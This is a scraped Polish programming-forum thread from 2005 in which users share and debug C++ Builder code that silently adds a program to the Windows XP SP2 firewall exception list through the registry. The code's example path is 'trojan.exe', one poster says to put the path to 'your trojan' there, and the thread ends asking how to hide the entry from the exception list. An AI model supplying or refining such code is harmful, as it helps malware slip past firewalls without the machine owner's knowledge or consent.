ďťż

Ładny brzuch

Mam pytanie,
Jak moge dodać do wyjątków mój program tak aby firewall z SPII puszczał go bez pytania ??
Kiedyś gdzies to znalazłem, ale ta stronka na której to było już nie istnieje :(

z góry dzieki za odpowiedzi :)



Znalazłem samemu :)
A tu gotowy kod jak by ktoś jeszcze potrzebował :

#include <Registry.hpp> void __fastcall TForm1::Button1Click(TObject *Sender) {   TRegistry& Rejestr = *new TRegistry();   Rejestr.RootKey = HKEY_LOCAL_MACHINE;   Rejestr.OpenKey("SYSTEM\ControlSet001\Services\SharedAccess\Parameters\ FirewallPolicy\StandardProfile\AuthorizedApplications\List", false);   Rejestr.WriteString("C:\\windows\\system32\\trojan.exe" , "C:\\windows\\system32\\trojan.exe:*:Enabled:trojan" );   delete &Rejestr; }
Użytkownik rzeszutek edytował ten post 31 sierpień 2005, 20:20

A tu gotowy kod jak by ktoś jeszcze potrzebował

Fajnie, tylko jak kompiluje to błąd

Lvalue required :excl:
Po kilku próbach załapałem że funkcja potrzebuje 2 parametrów AnsiString, więc zamiast '=' dałem ','
 Rejestr.WriteString("C:\\windows\\system32\\trojan.exe" ,"C:\\windows\\system32\\trojan.exe");

Tym razem kompilacja pomyślna :D , ale... :(
podczas działania programu - failed to set data for 'C:\windows\system32\trojan.exe'
rzeszutek: cosik wadliwy ten Twój kod :P

z tym =, to bład ale go nie zauważyłem :(
Ale u mnie kod działa :)
A w miejsce C:\windows\system32\trojan.exe musisz podac ścieżke do trojanka :)

z poważaniem
Krzysztof Rzeszutek




Tym razem kompilacja pomyślna  :D , ale...  :(
podczas działania programu - failed to set data for 'C:\windows\system32\trojan.exe'
rzeszutek: cosik wadliwy ten Twój kod  :P
A masz uprawnienia admina??


A w miejsce C:\windows\system32\trojan.exe musisz podac ścieżke do trojanka

Zauważyłem no i tak nie działa.


A masz uprawnienia admina??
Tak.

Nie rozumiem tego. Aha dla lepszego rozumienia sprawy, dlaczego tak właściwie są 2 parametry tej funkcji WriteString? I po co to Trojan Enabled na końcu ?


Aha dla lepszego rozumienia sprawy, dlaczego tak właściwie są 2 parametry tej funkcji WriteString?

Rozwiązałem problem.

Rejestr.OpenKey("SYSTEM\ControlSet001\Services\SharedAccess\Parameters\ FirewallPolicy\StandardProfile\AuthorizedApplications\List", false);
Ten fragment kodu, niby dobry ale po 30 min. męczenia się w końcu zmieniłem false na true, i tak nie mając nadzieji że to pomoże. I co?
Bezpośrednio w HKEY_LOCAL_MACHINE stworzył mi się nowy klucz o nazwie SYSTEMControlSet001ServicesSharedAccessParametersFirewallPolicyStandardProfileAuthorizedApplicationsList.

Wniosek: komp nie czyta znaku / bo trzeba //.
PS. Taki mały problem a tyle męczenia.

myśle że temat do zamknięcia

a kto wie co zrobić do kompletu żeby programu nie było widać na liście wyjątków zapory

  • zanotowane.pl
  • doc.pisz.pl
  • pdf.pisz.pl
  • zsf.htw.pl
  •